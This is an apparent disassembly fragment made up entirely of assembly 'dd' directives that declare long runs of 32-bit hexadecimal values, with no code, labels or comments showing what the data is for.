		dd 81B1B45Ah, 0EA631845h, 0EC547200h, 0BCF7B1A3h, 835F6B00h
		dd 5768C369h, 1416725Bh, 0D4BA28C7h, 0FC60C1C1h, 8D7D40E8h
		dd 79E47E17h, 72591600h, 0B6D1C595h, 0EC1E4E43h, 27062002h
		dd 0C77C615Bh, 0C148A947h, 3A8D29DAh, 4C2BDCE4h, 4B78BBC8h
		dd 808BF921h, 0CEAF47B6h, 77323B58h, 21F91980h,	8A5031E5h
		dd 330FED17h, 3760608Dh, 5B2317DEh, 0D1250C76h,	340F57Eh
		dd 147450E9h, 9AC50AE3h, 12C22071h, 4BD4BF29h, 37C4B257h
		dd 85F65DEAh, 890A95B5h, 837FEE0Ah, 50794BD3h, 18012C10h
		dd 0FF174DBDh, 189FD03Bh, 32FE8B7Bh, 0F50F34E9h, 6665F95Eh
		dd 0D7B88912h, 0AF82BFA4h, 0CCF45E6Eh, 0E934E77Ah, 5742BAB7h
		dd 0D721E5BDh, 4720DD14h, 10549753h, 0C9CD2E4Ch, 93F46AD1h
		dd 0CE2700DEh, 0D2C5FC20h, 8D3C3160h, 109852FDh, 945F0DC9h
		dd 0DCE2EEB2h, 37C6BD3h, 78F2E5D8h, 608BB012h, 28F8E67Ah
		dd 98C047BFh, 578D4943h, 47B03046h, 0E102E335h,	53BEA2E2h
		dd 25D75E68h, 0CCC0C44Dh, 5F1B7FBh, 0AE441AA4h,	0FCF60B9Bh
		dd 55CB9C4Dh, 316C53C8h, 152E0090h, 0FF49EF02h,	0C2B841E1h
		dd 60BE6F75h, 0C5EEA11Eh, 8AA13C4Bh, 0AAA1BC77h, 0FC207F4Ch
		dd 3DA16578h, 0D98190EBh, 745243CAh, 0D685D0B3h, 0C2DB8B4Bh
		dd 963A9A4Bh, 884EF3E9h, 340790E3h, 0C49262C6h,	0CCBC0F64h
		dd 0B841B996h, 3D670129h, 0A1AEEA46h, 0D6EB3CDEh, 7071B2h
		dd 209425FCh, 0C9E5A942h, 41C7EA02h, 760EEF58h,	8B55CB30h
		dd 5A905C90h, 47B1CD55h, 8CFA4083h, 747AE332h, 3B8AB558h
		dd 0BBF85A62h, 0BA1D2BBBh, 0E9F2DC00h, 1CDB8F6Eh, 672981DFh
		dd 0D50882DEh, 13B80125h, 2A375A94h, 5313781h, 0DAE82479h
		dd 0F5AF9403h, 0A468F275h, 0B58061E8h, 25910D92h, 0E5F79725h
		dd 25B01CE5h, 0F455FEh,	2C25843Eh, 3AF23F28h, 0A43D1654h
		dd 0E31A9D02h, 5E8F501Ch, 1646D4E4h, 5440CA0Bh,	93D9882h
		dd 7EA77D0Eh, 0B5DDA556h, 0A74C2534h, 0CE512F0Ah, 23AC602Ah
		dd 0ED027E3Ch, 0FFF5429Ah, 0DCA4FCE1h, 0F9CB234Bh, 4C053310h
		dd 0BAECC0F3h, 40E43Eh,	5532B6EEh, 0EFD6419Dh, 5323BC04h
		dd 0BEEFDFFh, 96DFEACCh, 52256994h, 0C2C76D7Dh,	2E96021h
		dd 8D558908h, 0E9A5549h, 0B8C4345Eh, 0BA45FA57h, 0E2B6605Fh
		dd 0B8A6AAE5h, 0FA52C975h, 0C1AD39D0h, 0B6AB06E0h, 0F95E02B5h
		dd 0D46E0CE8h, 9D016CD1h, 2E20908Fh, 0A1F0B5E4h, 9671ECABh
		dd 0C1F9273Fh, 0FDC7F311h, 0DEF2608Eh, 33FDC902h, 5FEA0CA4h
		dd 10D2E581h, 7E123A5Bh, 7FE6EBFh, 62CFF00Eh, 0A9A3EFF3h
		dd 0B9701813h, 0AC034B41h, 15BC464h, 0E912D110h, 0D6D4BD0Bh
		dd 0CEE38702h, 0D62A74B5h, 0F2261446h, 84D8138Dh, 0E017A6F7h
		dd 5DF1AA1h, 0E7806236h, 0E869E9A3h, 13FE259Dh,	528977C5h
		dd 0E0E460h, 0F72B8B5Ch, 0D1DFEB86h, 665EC818h,	550F61C8h
		dd 0AD2B1531h, 833A0575h, 0E3BF1FDAh, 0CA004B7Fh, 1DEDC3BBh
		dd 0A613977Eh, 0E3398DD1h, 4989B381h, 0F26EECEDh, 581FB513h
		dd 0BAB862A9h, 0D66F2700h, 0C0EAD87Dh, 0E8DE1186h, 28240205h
		dd 75A7EFC7h, 5BE19B62h, 5B74070Ch, 88D272B8h, 0D4390C72h
		dd 0DE5400A0h, 5DFA7D98h, 0FC5800A8h, 656D9BDDh, 1A9D2344h
		dd 0AAC1FDB4h, 2244308h, 0F33AF685h, 0C6809CF7h, 9D97C623h
		dd 0C398B41Ah, 7A03226Fh, 47620DBDh, 69D82F5Bh,	0FA5F5D04h
		dd 22A0AF8Ah, 95003C02h, 5185D46Fh, 4A1DBD03h, 9929BF16h
		dd 6BA9EA2Dh, 40DE56B5h, 8209F1D8h, 0BD764C7Fh,	7697BE50h
		dd 0B69BDC29h, 65DF9F80h, 2D42FD3Eh, 0C5FC7DA4h, 6108990Dh
		dd 8912887Bh, 0D9B788C4h, 762911D8h, 0F1FFD295h, 76238Ah
		dd 36679CE7h, 0E614697Ah, 0EA2201BFh, 4C9D8E62h, 0AE8D3FB4h
		dd 972F3D4h, 5F2C3520h,	0B544C4FDh, 0BAF3759h, 1BCB786h
		dd 1EAC7286h, 6143C4BBh, 426D1327h, 1B4FD784h, 2390E860h
		dd 2EB1C7h, 689846BBh, 320B9E34h, 548E0FDDh, 279B5009h
		dd 48663Ch, 1F1EE8CBh, 0C478A4h, 0B9DFC346h, 89A1D326h
		dd 0CB8AC0B7h, 22EC2565h, 99C1024Dh, 323AED67h,	0D2985092h
		dd 380712D7h, 0E06846DBh, 0D552201h, 27611060h,	9E4A413Eh
		dd 4A530568h, 0FEDD7697h, 0A40543F8h, 5CFA729Ch, 5D8D10C1h
		dd 0C68101EEh, 68E5CC6Ah, 37976171h, 873E0209h,	4FFD0EB7h
		dd 0B64C695Ah, 33E52B02h, 0DD17F1BDh, 5B708A1Ch, 1AB63FE1h
		dd 0E9F2FEF4h, 4FE9180Dh, 0F2B6361Fh, 937D59ABh, 0A826EB01h
		dd 1E9127C4h, 0A7D254ABh, 0D2AD9D97h, 466B55Dh,	0BBCE8630h
		dd 6C093B6Eh, 7E00A3C7h, 3C48B2EDh, 6AD4109Fh, 0DE020064h
		dd 0D584EEFEh, 18001080h, 0CD7813BDh, 9DBA6B39h, 8038BA14h
		dd 18A94B04h, 4F74FEBCh, 914C6801h, 504E6476h, 2400CF63h
		dd 0D3ADAE3Eh, 21000316h, 0B86C0DCFh, 3686B57h,	3A81DEEFh
		dd 23928D09h, 30976447h, 18C7BFBh, 0BF66A1E4h, 6B3A2CCEh
		dd 1C23FFh, 0A75B3616h,	0AF122057h, 75EEF041h, 0A79FF643h
		dd 3D97BB10h, 7CB00936h, 93D0918Ah, 6237CFB5h, 0CE5DBD49h
		dd 22D92230h, 75D7B725h, 0E900B23Dh, 482FA86Ah,	4A937517h
		dd 3F7D81BEh, 0A9A92B8Eh, 2E0092FCh, 2F75902Ah,	0BF6BA75Fh
		dd 275BB3D0h, 0AAB463A8h, 1709A16Ah, 5A51749Fh,	8BB8603h
		dd 6B29E8B8h, 0E7360A8Ah, 0AFC3E0D1h, 16F6B87Ch, 0C4CFD71Eh
		dd 0A571CCF8h, 500EFCB7h, 6C05F4E4h, 8A0F0171h,	35B21616h
		dd 8BAAE00h, 14823C81h,	2588450Eh, 6FF9365Bh, 28C15ACh
		dd 29606EC9h, 0C45C658Dh, 0B2524145h, 0FBCF65EBh, 762DD1C2h
		dd 0F5F9E96Bh, 58C899Dh, 0E1801917h, 8256E814h,	1A8A76E7h
		dd 10CB5DFh, 6BB72571h,	363308h, 1B8C1903h, 27B462Ch, 7A44F6A3h
		dd 75401E4Fh, 825DFCCh,	89A750Ch, 0D06289FFh, 0BCBDB56Fh
		dd 96EF712Fh, 0B97A6Ah,	5B28F816h, 952FEAE1h, 9AF82D62h
		dd 5431519Fh, 688E8700h, 4599C878h, 0D52E4AFBh,	407ABBA3h
		dd 0F82C0972h, 0D98B2B6Eh, 0BF96C020h, 9458805Eh, 0FC8A1E04h
		dd 9378AA6Bh, 0ED1D0AA0h, 0AD802298h, 796023CFh, 16E0B5F8h
		dd 56C5BD29h, 0D7C1ED7Fh, 2AE6ABEh, 0E18D898Bh,	991C5F33h
		dd 0B8B2344h, 0D9D2BF9h, 0FF501424h, 0C0FE0D95h, 585A9C03h
		dd 602EC99Ah, 2D118456h, 1B505B2Dh, 0B8036149h,	0CFE08C1Dh
		dd 0EC2AF200h, 0B96D6719h, 59D79004h, 0AC4B0D9Dh, 0CDEBF5D3h
		dd 0F1F66B0Ch, 55EF810Eh, 88F8A233h, 0F090A525h, 0AA16327Dh
		dd 9BF377Bh, 1D902AEh, 1808A1C2h, 0C31783BFh, 7BEA3FC2h
		dd 60984EE8h, 1EB10CD8h, 7DFE37E6h, 25E91240h, 0CA5AF0B5h
		dd 55300D2Fh, 1A14601Fh, 0B1D78033h, 0E6490F63h, 815601E7h
		dd 0ED8AF3C7h, 14BC7B35h, 3E6680D2h, 0D69F0136h, 509089D7h
		dd 0F1F3E47Dh, 0F56E0C21h, 0B17A2F67h, 3F0F203h, 7390DB9Bh
		dd 4414D163h, 27CBDF8Bh, 0DDAE09C5h, 0B6E47B4Dh, 0C068A92h
		dd 0E9209CE6h, 0DE8B2D19h, 2F6A6D4h, 0F68B7982h, 24C8107Ch
		dd 209D574Ch, 12BF314Fh, 3B3D27E0h, 0BB090952h,	0B790A72Dh
		dd 0D3B480C9h, 94328FCFh, 48BE876Ch, 14DF0681h,	104E687Eh
		dd 76B7FEF8h, 1952D4BBh, 29EA0036h, 0A92332CCh,	0B4B609BFh
		dd 4D5D5A47h, 8CC49A6h,	884DF802h, 56D1FFBDh, 0B100DC91h
		dd 3075A310h, 1332E673h, 0B260B3A5h, 539E893Ah,	0AB97D8AFh
		dd 0A4B25100h, 0BB872F2Dh, 8CE70545h, 0FB026A53h, 2509356Eh
		dd 967066F6h
		dd 4E451841h, 0F8D352ABh, 0B9F1307h, 0FFC0B8F8h, 7D4C7475h
		dd 0FCB18603h, 0B85A5EE4h, 0F0C3DD34h, 9D0B1290h, 7B70A109h
		dd 19B296F6h, 7307984Ch, 0D9DD1AAFh, 96E9F5C1h,	3FCACE6Eh
		dd 53192FA6h, 7AF7782Ch, 0A74E303Eh, 0A4E7D68Eh, 266509B6h
		dd 0FCF4F456h, 9D147E6Eh, 0CBF37DBAh, 9DF98C50h, 0D1697CD4h
		dd 107FA520h, 9CF8126h,	0BA26445h, 0D7AD64D9h, 4701D8B7h
		dd 0BCB3BF91h, 80E6346Fh, 0ADCA16C8h, 2860CE97h, 0B068A0Fh
		dd 20CD8501h, 2C61E577h, 0B200D6D2h, 0FC9B0645h, 1752C0B6h
		dd 10FF6A03h, 0BB5DD51Eh, 392CCC4Ch, 0D8CEBE83h, 9881B39h
		dd 0ED3D5485h, 3B3E0B0h, 0BF70E6EBh, 0FAFDBB21h, 532F5C89h
		dd 8033ACF4h, 0AB2F018Fh, 59880989h, 48DA4FACh,	2923EC61h
		dd 5FA6D195h, 212D3CA0h, 0E02500F1h, 7A7E6995h,	0F06E97BAh
		dd 0EE6B2D00h, 0A87FEFAFh, 0DE3005EAh, 82029D1Ch, 92F729B4h
		dd 5DA35DB8h, 63A43D95h, 0EB53848Dh, 0F0D1530Ch, 0E91140C9h
		dd 2288985Bh, 0FAA1A331h, 0CDF9904h, 1A5AA614h,	5E436595h
		dd 0BD0306F9h, 0E2BD7B19h, 0F81B5D91h, 5991212h, 17EE32BAh
		dd 695BB10h, 2D9D03BFh,	4D44972Ah, 228B5E53h, 0D765BA4h
		dd 0D9FBA96Fh, 4034110Ch, 0D4B19FFh, 0E29802E2h, 604BCE5Ah
		dd 4F047BCCh, 7741FBD5h, 2D358D03h, 9529E62Dh, 0F8B78986h
		dd 0D4091FDBh, 0FC305D61h, 0E704CD66h, 17CB314Eh, 2E50E113h
		dd 17C8C29Ah, 0D2B141CFh, 8A855658h, 13B95BFEh,	41C7A4A5h
		dd 0E1F51362h, 0DC4A5CFCh, 4CFC5A34h, 57DE00C9h, 720F7AB7h
		dd 7A6E20D6h, 2509A771h, 3E61F1B5h, 4F77C2B8h, 0E8C6564h
		dd 0A27398E3h, 0D98A12BFh, 19FC51EDh, 279D028Ch, 339AE408h
		dd 0B554E67Fh, 0EEE35FE1h, 25553341h, 2CDA6EE5h, 28C41488h
		dd 32256084h, 0BC2D64BBh, 0D7F39776h, 778A5731h, 592B3A5Fh
		dd 0B83CBF02h, 83530AF4h, 1B56470h, 0ACBFA4B4h,	0D6DA2375h
		dd 160204FFh, 22EC8EAEh, 14BF7642h, 0FE7EC082h,	0A91782DEh
		dd 4D575289h, 601D64CDh, 68050Ch, 55BBE9B9h, 0FF24E06Ch
		dd 189FE164h, 0D9AD38BAh, 5F7045Bh, 985B91A0h, 4FB8504Eh
		dd 0F1D781C0h, 1C058BFBh, 12B59509h, 4013E62h, 4BF550B6h
		dd 7122A18Ah, 6001EF9Ah, 0E86CD381h, 152F0CF3h,	60BC6A7Eh
		dd 7D8A4004h, 49C4CF64h, 4F4C50B8h, 0F3279912h,	163122Bh
		dd 0C113677Bh, 688AE53h, 5B5F2F56h, 155257Ch, 0F2C2FDBEh
		dd 336BC05Fh, 6AD4DA4Bh, 94059EBAh, 5EE70512h, 20AA90FBh
		dd 0B9FF2FFDh, 44870600h, 0CE52AC5h, 2BBE250h, 46E080Eh
		dd 1FDB905Fh, 0D154F670h, 1CAC583Ah, 0B8F0C109h, 40F3589Bh
		dd 7A046807h, 60F2AF86h, 0F20F8FC3h, 4090F557h,	0B200A909h
		dd 4DC0776Ch, 0EE08BFE0h, 7A840125h, 5E04378Fh,	56012B61h
		dd 0D6F7D85h, 84039B3Eh, 4EE27ACh, 112D1B1h, 8018D29h
		dd 0E674AF14h, 7DDAF8C9h, 0AC487F4Dh, 0E90545E0h, 23B9228h
		dd 0AD3ECB81h, 335E2548h, 0DAA0532Dh, 208B1256h, 2CF9FFh
		dd 5E34A819h, 9203BFAAh, 2291E05Fh, 5E8A97Ch, 5C736610h
		dd 0E281A82Fh, 5C00CA69h, 4653AF63h, 7C83D0DBh,	5EF0B86Fh
		dd 0E17F7016h, 9D016ACCh, 55EBA4F0h, 1C6B14DCh,	0FA8334F6h
		dd 3B664AD8h, 3E93EE81h, 4629EEF9h, 0C8A8E639h,	0C5A0AB00h
		dd 315D8BFEh, 3DF2B59Dh, 9842351h, 0B50485FBh, 29BE0369h
		dd 41B9FF31h, 8D986B02h, 8FD105DCh, 0BE58F924h,	10AD3B16h
		dd 0D65D2DBDh, 0BF502300h, 9752958Dh, 0BB456AAh, 167508A9h
		dd 0D4C99CF6h, 7797A503h, 10FD9285h, 761A0DFAh,	26719510h
		dd 0EAB66800h, 59B38CB4h, 490BCB92h, 0FB736A19h, 1AD572A2h
		dd 6FA5D0Fh, 0F6EA5C95h, 9D236C04h, 30122AA9h, 0B88E579Eh
		dd 71DB1901h, 984D0856h, 15071D3Ch, 1357508Bh, 24F5B52h
		dd 500346Fh, 68633CF0h,	31091DF7h, 5F2F2D95h, 189135B7h
		dd 7737F80h, 312E78BDh,	61456FB5h, 93E5EFA6h, 0BEE51943h
		dd 6A6F1A6Dh, 361101E7h, 0F71ED07Ch, 25BF1B70h,	147556DBh
		dd 0AD4A4AB1h, 9E6EC8Dh, 0ADE1549Dh, 8AF48409h,	9FB27AAFh
		dd 0D27858DBh, 0FF76253Ah, 95745AE7h, 700CB35h,	0C51083F8h
		dd 1AF3016Eh, 0FDB501D9h, 0FE8A0028h, 4DBD170Bh, 9A7AEF25h
		dd 1CCEF712h, 533281ADh, 2F21BD2Bh, 0B8A41CECh,	5FAA345Ch
		dd 5F89E509h, 972C0D1Eh, 1FF64B03h, 84ECF231h, 0AB3DBD09h
		dd 0F6F5C4E6h, 0F8460E9Dh, 35B05378h, 7B094111h, 0DF6173C2h
		dd 143D2338h, 0B3B72785h, 97B2CF12h, 62091700h,	56A39BEBh
		dd 0DFB23A00h, 0BE261A9Eh, 0A9AB0B8Fh, 547CCD7Ch, 0AF9DB5E9h
		dd 2600C9D0h, 0BFF67816h, 3F920FFBh, 89178021h,	5461BB96h
		dd 8EEC09DCh, 0E46807BAh, 6026DEFAh, 96619D50h,	3EFB79Dh
		dd 0F5239EC6h, 584567F9h, 21EC29DFh, 80B9034Fh,	0AC30D4B4h
		dd 6CBAD9B3h, 0FD8B172Eh, 44AEC14h, 0E826EC29h,	2790E393h
		dd 0D25F357h, 2099F1B5h, 44DC288h, 0DEBC7Eh, 6C2DFBB2h
		dd 33D18D29h, 0FAFB97h,	88801D65h, 0C5255A16h, 251AC5E0h
		dd 8809D962h, 8180A359h, 0E68F0BEBh, 0A6189723h, 0AAD4D88Bh
		dd 5FB15E9h, 9CDA96BDh,	90C017C8h, 0BDDA88F4h, 3453BD10h
		dd 30C2DB00h, 6735B366h, 0A7773BF9h, 0BF5D2400h, 1D18D34Dh
		dd 0B8E23990h, 5FCF8E00h, 0A9BE665Ah, 0B6617C9Eh, 0C4D64084h
		dd 6D04E194h, 814EF783h, 61CA0581h, 0BFC4D06Eh,	4250B69h
		dd 20966E01h, 6609272Dh, 7D32CABBh, 3849594Dh, 30DEF244h
		dd 0FA520DAEh, 0EB2580D6h, 1139C575h, 37C84B54h, 0B9570086h
		dd 326C5F6Eh, 374B5D03h, 0BBC0CFBCh, 1A72AAA8h,	803C5F49h
		dd 7D4DF781h, 0EA164E1Bh, 7DBF7Bh, 828A8F17h, 89377662h
		dd 0F729B6C9h, 0C3122796h, 44E390E0h, 0D1158758h, 0CF9C172Ch
		dd 17694C7Ah, 89824971h, 571CB185h, 0CB3BAB67h,	28EC22B9h
		dd 33227E01h, 0FEF11163h, 8AA6F93Ah, 1A09CFDFh,	0A4CFD7CEh
		dd 0D98F0242h, 14CE00E7h, 8A11BA21h, 0DB950DEAh, 181DD98Bh
		dd 2854BD02h, 0F701C1E8h, 0BEE9DFA9h, 0F664C46Eh, 0F2FBE5AFh
		dd 3E09003Fh, 5FBFF7B9h, 5E930AD1h, 0DE8FC18Bh,	29458305h
		dd 0F842119Dh, 5C5ADB80h, 81BF60A6h, 244E2F87h,	2B1D3EBBh
		dd 0C6029017h, 0C2221C35h, 5DADFD2h, 184A36B2h,	0B660A220h
		dd 0DA5153B3h, 0A102B907h, 0E81180AAh, 615F5BD4h, 0B7A04BE7h
		dd 0B604DD39h, 2E1F48A7h, 960DA7C3h, 0F97017F4h, 0F2A7E619h
		dd 73D95FF8h, 2ECB8004h, 6E4BCFB8h, 0D4A40E40h,	0C03FC1F8h
		dd 5E706C45h, 5001405Dh, 8CBA85E3h, 23BB5B92h, 1A84D102h
		dd 81AE0272h, 4AA84422h, 0A456B7DEh, 0FB09ECC3h, 0C94A48BCh
		dd 6CD49571h, 0D462DE52h, 0F79AF016h, 70AD8100h, 18B35BE2h
		dd 2709830Fh, 0F7078A60h, 3907C5BAh, 2ABB61B5h,	0DADF81FAh
		dd 837189F3h, 760F906Fh, 7E16390Ch, 319BD1FFh, 12633A85h
		dd 2AA9C2h, 784CBB52h, 9E5F1284h, 0F81816AFh, 207CE201h
		dd 20EA8160h, 13B63809h, 27505F5h, 58B88BADh, 0F84D7612h
		dd 88EE1617h, 0FB5B8BF0h, 0B5B9FB85h, 5409B5BCh, 0FFCBBF19h
		dd 0CCAD5435h, 0C7600E5Fh, 0E3B2E917h, 87A89D4h, 17DC2FCAh
		dd 0AE279CA7h, 771A3F09h, 0B8E0A14Dh, 0B755C4Eh, 9FF36953h
		dd 3A80D28Fh, 8531170Fh, 0F31D012Dh, 2094A83Eh,	905E1729h
		dd 7D7960C8h, 129D740Ah, 88035A3Ch, 3D006A19h, 0F765DE6Bh
		dd 0A50910h, 668C0E41h
		dd 883F3E97h, 8D505B26h, 490C1960h, 0C34C09B2h,	4C7D6F9Dh
		dd 49099582h, 0BD97B85Ah, 0EE138027h, 388ED747h, 0C6FD2725h
		dd 6AF93CCFh, 0DABF0F09h, 1B0B9DDCh, 752E822Eh,	677BDF33h
		dd 5FD8478h, 4D6D13C0h,	0BF08C12Bh, 157DE4FAh, 0F5D43197h
		dd 25E939A8h, 0D4C40D01h, 207BB841h, 97D6F9E2h,	1584AE1Dh
		dd 42875B4Eh, 0E18971E4h, 8C6F197Ah, 35C5CA34h,	42BEF88Bh
		dd 25C9851Fh, 5BEFD009h, 625E626h, 28B1BD01h, 355AB523h
		dd 34031C12h, 0CAC848BBh, 0F00873BFh, 440B4F3h,	81F5D18Bh
		dd 9121CD1Bh, 166588DBh, 870AF85Dh, 5F164C44h, 88134B19h
		dd 0FBA160B4h, 85B5F4C2h, 1C61A1CDh, 5DD2F02Fh,	0B38C2E4Bh
		dd 81B28B1Fh, 5095525Ch, 994E0BE4h, 0C866DF5Fh,	0CD058CF6h
		dd 39E97F86h, 0BBACAB24h, 7F8F4D8h, 9932D628h, 0DB03312Dh
		dd 4A1D11C7h, 0A442BFD9h, 0F4FA55C1h, 3BF7280h,	19B6F712h
		dd 0A413AEE6h, 0ACCCBA71h, 2BD300D0h, 0F66B47Fh, 0B5091432h
		dd 0ED6A8764h, 386AE358h, 4455A99Ah, 0D22B00D1h, 0FB1CBCFAh
		dd 31772F67h, 75A79904h, 34ABFE8Bh, 65B0AE05h, 495D00F5h
		dd 0CDDBD521h, 16ECD88Ah, 22EBD15Fh, 0FBDD5B6Ah, 0DE11960h
		dd 64C43AB9h, 0E33DE6ABh, 4A30A7F1h, 5E763347h,	0AD590B86h
		dd 2BB419F5h, 5AEB77E6h, 0E080A6BCh, 3E8A6A03h,	3581701Fh
		dd 0F571382h, 4A56328Bh, 6911D6F8h, 0DDE4652Dh,	0C02BF744h
		dd 0E394D7B8h, 4E1A3D10h, 0ED4AF4E3h, 25FFA403h, 0CE089B85h
		dd 70E749CEh, 856F95D3h, 9B838A44h, 5F9EB2C7h, 0CE84F910h
		dd 0F7F9E700h, 0FDBC11F4h, 68640BC8h, 6CFC30FEh, 804DBD49h
		dd 0C463B828h, 0F713E443h, 651E01F9h, 6983D1E5h, 2150E7D3h
		dd 20FE12D8h, 0BD7BE88Ch, 16D96A2Eh, 5988FCA2h,	239B1E6Bh
		dd 69A700A0h, 0DDA6CD3Fh, 0E5338D25h, 50731121h, 2FFB2D26h
		dd 11CE38A9h, 5DA9A410h, 292F6DB8h, 49977E89h, 0E1FF4882h
		dd 12DCA57Eh, 2F8DB9Ah,	98E9EB18h, 0EF0F157Bh, 28244523h
		dd 0E2D222ACh, 0B7E78F52h, 0FB87B39Eh, 64119686h, 906BD20h
		dd 2FF5B509h, 0CAC64C79h, 25279463h, 841D4DC5h,	0D0BADB2Dh
		dd 200C086h, 0F9D11EA2h, 1023C2A9h, 2F047D9Dh, 0C058CD60h
		dd 8D894DFAh, 4801AD31h, 132FDD8Ah, 0DB940293h,	0F375E180h
		dd 0D8987033h, 0C2E8FF00h, 0CF723B6Fh, 77BB0454h, 0BD01D4D9h
		dd 9D032297h, 0ED77F409h, 0E0944868h, 12E7E1CEh, 63952804h
		dd 74BC3F53h, 0B9E613D2h, 4748CCh, 1BF1B014h, 0E00ABF50h
		dd 0A7744FC1h, 0E7ABB54Eh, 0ECAF4DB3h, 0FB400BF7h, 2057579Bh
		dd 4E70684Ch, 1292F57Eh, 8F6FB0DAh, 64A0B512h, 0FAE0CFE6h
		dd 809809Dh, 8257C147h,	401790Bh, 3DE6EB5Fh, 0E2893F25h
		dd 6189CF75h, 20F820EAh, 1840D1ACh, 38A49E9h, 60378D4Bh
		dd 0C5BADC8h, 15F218B6h, 97525B30h, 0BD7FDB09h,	9F058105h
		dd 7F163012h, 0C84A48B9h, 0BA0A01AFh, 934AD1F1h, 1A520D17h
		dd 8216FC1h, 0E05ACA2Bh, 3987F8CBh, 0EB0225D6h,	689F94Fh
		dd 0F6E2006Dh, 0A184754Eh, 0D222BD2Ah, 465C0118h, 0DC27B404h
		dd 0C14FF49Fh, 2B15CF80h, 4496EC8h, 0BE1186DDh,	0C1F3AAC0h
		dd 2EE9DD4Eh, 0A2BE1E34h, 8C680407h, 74A3CBB6h,	0A2627600h
		dd 68FD1C3Eh, 1A52011Eh, 5A81860Ch, 0D4B52573h,	0EEE0A64Dh
		dd 972FBADFh, 8D291A00h, 0DB9507E1h, 8319FBFh, 9013134Dh
		dd 5B33E7B6h, 0AFECDEEBh, 0ACE9B21h, 0E462B726h, 610328E5h
		dd 1A05E929h, 21833D2Eh, 0AB447AE1h, 0F4AE8B60h, 94956178h
		dd 0A7405B52h, 0DEB9B092h, 0BD8712Bh, 0C8F7803Fh, 8A04E9D5h
		dd 72771F2h, 70C6AD33h,	1DD51B43h, 9589F01Ch, 5C5FBD72h
		dd 734B7760h, 4D6850B4h, 0C229F80Bh, 8740B766h,	397F9609h
		dd 14117DDEh, 0ADB1851Dh, 6270C7D6h, 9AEF9504h,	25898A43h
		dd 6DC70852h, 8F5F331Ah, 0DF05AB36h, 4D096596h,	0DE9D8979h
		dd 575BA5FFh, 8E181959h, 95B9C497h, 8651941Bh, 67DC6B72h
		dd 88504AF5h, 27EE44ABh, 992BC502h, 6A138F96h, 88D35D2Fh
		dd 0D9D2902h, 0F996551Eh, 4F8E6D9Dh, 342ECEBFh,	0BCD0CA22h
		dd 7B93C85Dh, 0AFC5D203h, 0D801097Bh, 3CE61594h, 4ED2E019h
		dd 860FB616h, 0BD848BADh, 0D66BAB43h, 0C4021723h, 5CA3A059h
		dd 0B501623Fh, 9D52707Dh, 86D4C1F6h, 0C5481E67h, 0C2339F16h
		dd 645BFDE1h, 0B9B71363h, 4588E657h, 8EDB2AFAh,	0B0674682h
		dd 52A2FB55h, 0AD003BF3h, 203243EAh, 0E8F42C30h, 65D6603Bh
		dd 221B0E7Fh, 0FA8D1923h, 56F562D8h, 0A9F86554h, 2F9E860h
		dd 0F5913D68h, 0D68B8F0Fh, 1C9F5FCh, 0E364D105h, 0A919D4h
		dd 0F3DDA422h, 6C4490B3h, 8B2DA172h, 54EF71F8h,	8276C702h
		dd 0FC50B316h, 4500554Bh, 0A4174325h, 86109FF0h, 47ECCB2Eh
		dd 826F7302h, 0E08DC415h, 8124CDA5h, 50197496h,	1FFB5B95h
		dd 0DEAD6EF9h, 7AB6260Eh, 0B10387E9h, 0F7EB3A94h, 1216484Bh
		dd 0EAAD17A5h, 38C1CBCh, 0FDA033B9h, 0ACC935C4h, 89E2898Eh
		dd 71F2560Dh, 0EBE72E21h, 79731901h, 7896B9BAh,	4767847Eh
		dd 503530BAh, 964DFB8Bh, 0D2BE120Fh, 81E92ABBh,	0A4975C90h
		dd 2A059245h, 0B7BB3995h, 0E85CA1AEh, 9D6E602Fh, 0CE952F2Dh
		dd 0B37E8804h, 6F2912DFh, 8BBFE298h, 0F671F69Fh, 0C9C66D00h
		dd 20D09E75h, 35A0486Eh, 206ABF4Bh, 0F4B7604Ah,	0F0B77D1h
		dd 826030BDh, 7D754DFDh, 31A5710h, 35A50500h, 80ACFCB9h
		dd 0F4A31F41h, 2E3600DDh, 0BD8B34C6h, 5A8922BFh, 0D9948261h
		dd 6435DD22h, 0EC961D11h, 824C8E99h, 571B05D1h,	1B64616Fh
		dd 1869D660h, 0F7E7EC04h, 0F48CB222h, 7A371E05h, 49FC5C70h
		dd 9D849E01h, 5A09BC61h, 80A376Eh, 0D655C18Bh, 0D793672Dh
		dd 0E6559D12h, 0B5459AEAh, 745A4F7Bh, 6977C1C7h, 3316D02Fh
		dd 0BCC4E0A2h, 0D4DB8005h, 30BA6050h, 47FE69A3h, 2F64A760h
		dd 0BD5E7470h, 4DA5FBDCh, 0F423C7C8h, 0BC4FE96Ah, 407C0146h
		dd 2B51E216h, 80EC7835h, 0FEF23BEFh, 8AB5009Ah,	0AF95FCD0h
		dd 5609FA2Ch, 8429D683h, 5F040914h, 0FBDBBF6Ah,	0CC9BFC1h
		dd 0C4FC3E19h, 8255ED4Eh, 834798Dh, 94B07D6h, 0D7F9F71Ah
		dd 2E7FDD9Dh, 89443F12h, 1CAE8A0Fh, 0B85B52EDh,	0E3D304EFh
		dd 8B200864h, 37B590FEh, 0CD6D0C36h, 8A8802A2h,	6FA7BFDEh
		dd 315B5BF8h, 125ED478h, 308722CAh, 0B4598017h,	57C9A802h
		dd 0DF781F02h, 5BCD8182h, 10CA6C77h, 0A42EE99Dh, 33DF09BEh
		dd 7EC65Dh, 0AD04281Bh,	0F195C641h, 0E6C1BA00h,	0D1FFA420h
		dd 0DB3497F5h, 9A70FDBBh, 0C66902ECh, 26AFD0Dh,	163437FDh
		dd 34AA46h, 358512BAh, 0C6A2AF3Dh, 2472FE90h, 0C9F9038Dh
		dd 910064F5h, 0C87DAC07h, 5A0311EFh, 0A6E99E04h, 0C967A2AEh
		dd 0DD482B55h, 3A7B0809h, 0A053070h, 49ED74B4h,	6E509E5h
		dd 91F0B75Dh, 3CE5801Ch, 711286h, 112B5DCFh, 5CFAD381h
		dd 911F7628h, 0B2F88C4Ah, 9ACDEEA4h, 0DEB4532Bh, 0B647CAD8h
		dd 0B1B8914h, 0F7B3C780h, 296E0315h, 0DFF80B96h, 0FDE0E99Bh
		dd 0E1259D33h, 6E6E5528h, 21BDB524h, 3B6B6A9Fh,	0E2EBE59h
		dd 0FB1709FBh, 0AA00AF7Ah, 9D2B6CE3h, 65B726F9h, 0CCFE1403h
		dd 3F02E996h, 313BC39Dh, 8B245990h, 0A93A5DF5h,	0A840C55Ch
		dd 952586Eh, 7E5CA94Bh,	0D12AB875h, 2B5F8110h, 24EFC688h
		dd 9BA1D3Fh, 395F0AE1h,	0D1368224h, 0BE74552Dh,	14B59561h
		dd 0BD102B0Ch, 56D8102Dh
